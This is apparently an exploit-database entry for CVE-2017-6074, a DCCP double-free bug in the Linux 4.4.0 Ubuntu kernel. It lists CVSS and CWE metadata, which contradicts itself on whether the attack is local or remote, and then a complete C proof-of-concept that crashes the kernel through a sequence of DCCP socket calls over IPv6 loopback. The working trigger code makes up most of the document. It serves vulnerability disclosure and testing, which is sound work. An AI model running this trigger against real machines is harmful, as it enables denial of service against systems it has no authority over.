Linux Kernel 4.4.0 Ubuntu DCCP Double-Free Crash

2017.02.27
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-415


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

// A trigger for CVE-2017-6074, crashes kernel. // Tested on 4.4.0-62-generic #83-Ubuntu kernel. // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074 // // Andrey Konovalov <andreyknvl@gmail.com> #define _GNU_SOURCE #include <netinet/ip.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <stdarg.h> #include <stdbool.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> int main() { struct sockaddr_in6 sa1; sa1.sin6_family = AF_INET6; sa1.sin6_port = htons(20002); inet_pton(AF_INET6, "::1", &sa1.sin6_addr); sa1.sin6_flowinfo = 0; sa1.sin6_scope_id = 0; int optval = 8; int s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); bind(s1, &sa1, 0x20); listen(s1, 0x9); setsockopt(s1, IPPROTO_IPV6, IPV6_RECVPKTINFO, &optval, 4); int s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); connect(s2, &sa1, 0x20); shutdown(s1, SHUT_RDWR); close(s1); shutdown(s2, SHUT_RDWR); close(s2); return 0; }


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